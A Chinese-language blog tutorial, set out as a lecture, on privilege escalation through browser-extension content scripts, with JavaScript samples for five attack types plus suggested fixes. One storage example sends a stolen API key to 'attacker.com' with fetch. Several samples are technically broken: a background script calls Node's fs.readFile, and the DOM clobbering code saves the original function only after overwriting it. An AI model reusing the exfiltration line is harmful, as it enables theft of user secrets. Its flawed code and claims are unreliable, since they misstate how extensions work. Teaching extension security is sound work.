发布于 由admin

浏览器扩展 (Extension) 漏洞中，如何利用 Content Scripts 的权限进行 Privilege Escalation (权限提升)？

各位观众老爷，晚上好！今天咱要聊点刺激的：浏览器扩展漏洞中的 Content Scripts 权限提升。 这玩意儿听起来高大上，其实说白了，就是用小小的 Content Script，撬动整个浏览器，甚至系统的安全大门！ 准备好，咱们要发车了！

一、Content Scripts 是个啥？它有啥能耐？

简单来说，Content Scripts 就像是浏览器扩展派出的“特工”，专门潜伏在特定的网页里，偷偷摸摸地修改网页的内容，或者监视用户的行为。

  • 权限有限但威力巨大： Content Scripts 主要拥有以下权限：

    • DOM 操作： 可以修改网页的 HTML、CSS、JavaScript 等内容。
    • 读取网页数据： 可以获取网页上的文本、图片、表单数据等。
    • 与扩展后台通信： 可以通过 chrome.runtime.sendMessage 向扩展的 background script 发送消息，请求更高级别的操作。
  • 运行环境： Content Scripts 运行在一个隔离的环境中，这意味着它不能直接访问网页的 JavaScript 变量和函数。但是，可以通过一些技巧绕过这个限制。

二、权限提升的常见姿势

Content Scripts 本身权限不大，但架不住它能和扩展的 background script 勾搭啊！ 通过 background script，Content Scripts 就能获得更大的权力，甚至可以为所欲为。 这就是权限提升的关键！

以下是一些常见的权限提升姿势：

  1. 消息传递漏洞 (Message Passing Vulnerabilities)：

    • 漏洞原理： 如果扩展的 background script 没有对 Content Scripts 发送的消息进行充分的验证，就可能被恶意 Content Scripts 欺骗，执行未经授权的操作。
    • 攻击方式： 构造恶意的消息，让 background script 误以为是合法的请求，从而执行敏感操作，比如读取本地文件、修改浏览器设置等。

    • 代码示例：

      // Content Script (malicious.js)
chrome.runtime.sendMessage({
  action: "readFile",
  path: "/etc/passwd" // 想读取的敏感文件
}, function(response) {
  console.log("文件内容:", response.content);
});

// Background Script (background.js) - 存在漏洞
chrome.runtime.onMessage.addListener(function(request, sender, sendResponse) {
  if (request.action === "readFile") {
    // 没有验证请求来源，直接读取文件
    fs.readFile(request.path, "utf8", function(err, data) {
      if (err) {
        sendResponse({ error: err.message });
      } else {
        sendResponse({ content: data });
      }
    });
    return true; // 异步响应
  }
});

      解释： 恶意 Content Script 发送一个 readFile 请求，要求 background script 读取 /etc/passwd 文件。 由于 background script 没有验证请求的来源，就直接读取了文件内容，并将结果返回给 Content Script。

    • 修复建议：

      • 验证消息来源： 使用 sender.tab.url 验证消息是否来自预期的网页。
      • 最小权限原则： background script 只授予 Content Scripts 完成任务所需的最小权限。
      • 输入验证： 对 Content Scripts 发送的任何数据进行严格的验证，防止恶意输入。

  2. DOM Clobbering：

    • 漏洞原理： 利用 HTML 的特性，通过在网页中插入具有特定 ID 的元素，来覆盖或修改 JavaScript 全局变量。
    • 攻击方式： Content Scripts 可以通过 DOM 操作，创建与扩展 API 对象同名的 HTML 元素，从而劫持扩展的 API 调用。

    • 代码示例：

      <!-- 恶意网页 -->
<a id="chrome"></a>
<script>
  // 覆盖 chrome 对象
  window.chrome = {
    runtime: {
      sendMessage: function(message, callback) {
        // 恶意代码：记录用户输入
        console.log("Intercepted message:", message);
        // 执行原始的 sendMessage 函数（如果存在）
        if (typeof originalSendMessage === 'function') {
          originalSendMessage(message, callback);
        }
      }
    }
  };
  // 保存原始的 sendMessage 函数
  var originalSendMessage = chrome.runtime.sendMessage;
</script>

// Content Script (malicious.js)
// 扩展试图发送消息到 background script
chrome.runtime.sendMessage({ action: "getUserInfo" }, function(response) {
  console.log("用户信息:", response);
});

      解释： 恶意网页通过 <a id="chrome"></a> 创建了一个名为 chrome 的 HTML 元素，从而覆盖了全局的 chrome 对象。 然后，恶意网页修改了 chrome.runtime.sendMessage 函数，拦截了扩展发送的消息，并记录了用户输入。

    • 修复建议：

      • 避免使用全局变量： 尽可能使用局部变量，减少被覆盖的风险。
      • 使用 Object.freeze() 冻结 API 对象： 冻结后的对象无法被修改。
      • 检查 API 对象类型： 在使用 API 对象之前，检查其类型是否为预期的类型。

  3. Context Isolation 绕过：

    • 漏洞原理： 尽管 Content Scripts 运行在隔离的环境中，但仍然有一些方法可以绕过这个限制，访问网页的 JavaScript 变量和函数。
    • 攻击方式： 使用 window.postMessage 或 CustomEvent 等技术，将数据从 Content Scripts 发送到网页的 JavaScript 上下文中，或者反过来。

    • 代码示例：

      // Content Script (malicious.js)
// 向网页发送消息
window.postMessage({ type: "EXTENSION_REQUEST", text: "Hello from extension!" }, "*");

// 监听来自网页的消息
window.addEventListener("message", function(event) {
  if (event.source != window)
    return;

  if (event.data.type && (event.data.type == "WEB_RESPONSE")) {
    console.log("Content script received: " + event.data.text);
  }
}, false);

// 网页 JavaScript (evil.js)
window.addEventListener("message", function(event) {
  if (event.source != window)
    return;

  if (event.data.type && (event.data.type == "EXTENSION_REQUEST")) {
    console.log("Web page received: " + event.data.text);
    // 向 Content Script 发送消息
    window.postMessage({ type: "WEB_RESPONSE", text: "Hello from web page!" }, event.origin);
  }
}, false);

      解释： Content Script 和网页 JavaScript 通过 window.postMessage 进行通信，绕过了 Content Script 的隔离环境。恶意网页可以利用这个漏洞，窃取 Content Script 中的敏感数据，或者篡改 Content Script 的行为。

    • 修复建议：

      • 谨慎使用 window.postMessage： 只允许与信任的网页进行通信。
      • 对接收到的消息进行严格的验证： 确保消息来自预期的来源，并且包含有效的数据。
      • 使用 Content Security Policy (CSP)： CSP 可以限制网页可以加载的资源，从而减少被恶意代码攻击的风险。

  4. 存储漏洞 (Storage Vulnerabilities):

    • 漏洞原理: 如果扩展使用 chrome.storage API (例如 chrome.storage.local, chrome.storage.sync) 来存储敏感数据，并且 Content Script 可以通过某种方式访问或篡改这些数据，就可能导致权限提升。
    • 攻击方式:
      • 跨站脚本攻击 (XSS): 如果 Content Script 可以注入 XSS 到扩展选项页面或其他能访问存储的页面，攻击者可以读取或修改存储数据。
      • 存储对象污染: 某些情况下，如果存储的数据结构复杂（例如嵌套对象），Content Script 可能能够通过修改存储对象的部分属性，影响扩展的行为。

    • 代码示例:

      // Background Script (background.js)
// 存储用户配置
chrome.storage.local.set({ userConfig: { api_key: "SECRET_API_KEY", theme: "dark" } }, function() {
  console.log("User config saved.");
});

// Content Script (malicious.js) - 假设可以通过 XSS 注入到 Options 页面
// 注入 XSS 到 Options 页面，读取存储的 API 密钥
chrome.storage.local.get(['userConfig'], function(result) {
  if (result.userConfig && result.userConfig.api_key) {
    console.log("Stolen API key:", result.userConfig.api_key);
    // 将 API 密钥发送到攻击者服务器
    fetch('https://attacker.com/steal?key=' + result.userConfig.api_key);
  }
});

// Content Script (malicious.js) - 存储对象污染
// Content Script 可以修改存储的配置
chrome.storage.local.get(['userConfig'], function(result) {
  if (result.userConfig) {
    result.userConfig.api_key = "MALICIOUS_KEY";
    chrome.storage.local.set({ userConfig: result.userConfig }, function() {
      console.log("API key replaced.");
    });
  }
});

      解释: 第一个 Content Script 利用 XSS 注入到 Options 页面，读取了存储的 API 密钥并发送到攻击者服务器。 第二个 Content Script 直接修改了存储的 API 密钥，影响了扩展的功能。

    • 修复建议:
      • 严格的输入验证和输出编码: 防止 XSS 攻击。
      • 使用安全的存储方式: 考虑使用加密存储敏感数据。
      • 最小权限原则: 只有必要的组件才能访问存储。
      • 数据校验: 在使用存储的数据之前，进行数据校验，确保数据的完整性和有效性。

  5. Native Messaging 漏洞:

    • 漏洞原理: 扩展可以使用 Native Messaging 与本地应用程序通信。 如果 Native Messaging Host 没有进行适当的验证，或者扩展没有对本地应用程序返回的数据进行验证，就可能导致权限提升。
    • 攻击方式:
      • 伪造 Native Messaging Host: 攻击者可以创建一个伪造的 Native Messaging Host，欺骗扩展与之通信。
      • 篡改 Native Messaging 数据: 攻击者可以拦截并篡改 Native Messaging 数据，影响扩展的行为。

    • 代码示例:

      // Background Script (background.js)
// 连接到 Native Messaging Host
var port = chrome.runtime.connectNative('com.my_company.my_application');

port.onMessage.addListener(function(msg) {
  console.log("Received: " + msg);
  // 没有对 msg 进行验证，直接执行
  eval(msg); // 高危操作
});

port.onDisconnect.addListener(function(msg) {
  console.log("Disconnected: " + msg);
});

// Content Script (malicious.js) - 触发 Native Messaging 调用
chrome.runtime.sendMessage({ action: "executeNativeCommand", command: "getSystemInfo" }, function(response) {
  console.log("Native command response:", response);
});

// 假设 Native Messaging Host 返回恶意代码
// {"result": "alert('Hacked!')"}

      解释: Background Script 直接执行从 Native Messaging Host 返回的数据，如果 Native Messaging Host 被攻击者控制，攻击者可以执行任意代码。

    • 修复建议:
      • 验证 Native Messaging Host 的签名: 确保连接到的是可信的 Native Messaging Host。
      • 对 Native Messaging 数据进行严格的验证: 确保数据来自可信的来源，并且包含有效的数据。
      • 避免使用 eval() 或类似的函数: 尽量使用安全的 API 来处理 Native Messaging 数据。
      • 最小权限原则: Native Messaging Host 只授予扩展完成任务所需的最小权限。

三、防御措施：让你的扩展固若金汤

防守才是最好的进攻！ 想要防止 Content Scripts 权限提升，需要从以下几个方面入手：

  1. 严格的权限控制：

    • 最小权限原则： 只申请扩展需要的最小权限。
    • 明确声明权限： 在 manifest 文件中清晰地声明扩展需要的所有权限。
    • 审查第三方库： 仔细审查扩展使用的第三方库，确保它们没有安全漏洞。

  2. 安全的编码实践：

    • 输入验证： 对所有来自 Content Scripts 的输入进行严格的验证，防止恶意输入。
    • 输出编码： 对所有输出到网页的内容进行适当的编码，防止 XSS 攻击。
    • 避免使用 eval()： 使用 eval() 函数执行动态代码是非常危险的，应该尽量避免使用。
    • 使用 Content Security Policy (CSP)： CSP 可以限制网页可以加载的资源，从而减少被恶意代码攻击的风险。

  3. 安全的消息传递：

    • 验证消息来源： 使用 sender.tab.url 验证消息是否来自预期的网页。
    • 使用随机的 token： 在消息中包含随机的 token，防止跨站请求伪造 (CSRF) 攻击。
    • 限制消息类型： 只允许 Content Scripts 发送预定义的消息类型。

  4. 代码审查：

    • 定期进行代码审查： 邀请安全专家或经验丰富的开发者对扩展的代码进行审查，查找潜在的安全漏洞。
    • 使用静态代码分析工具： 使用静态代码分析工具可以自动检测代码中的安全漏洞。

四、案例分析：从真实漏洞中学习

光说不练假把式！ 让我们来看一个真实的 Content Scripts 权限提升漏洞案例：

  • 漏洞描述： 某知名浏览器扩展存在一个消息传递漏洞，攻击者可以通过构造恶意的消息，让扩展执行任意代码。
  • 漏洞利用： 攻击者首先找到一个存在 XSS 漏洞的网页，然后利用 Content Scripts 向扩展发送一个包含恶意 JavaScript 代码的消息。扩展在处理消息时，没有对消息内容进行充分的验证，直接执行了恶意代码，从而导致权限提升。
  • 修复方案： 扩展开发者对消息处理逻辑进行了改进，增加了对消息内容的验证，防止恶意代码被执行。

五、总结：安全无小事，警钟长鸣

Content Scripts 权限提升是一个非常严重的安全问题，可能导致用户隐私泄露、数据篡改、甚至系统被控制。 因此，扩展开发者必须高度重视安全问题，采取有效的防御措施，确保扩展的安全性。

记住，安全无小事！ 只有时刻保持警惕，才能让你的扩展固若金汤，免受攻击者的侵害！

各位，今天的讲座就到这里。 谢谢大家！ 下次再见！

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注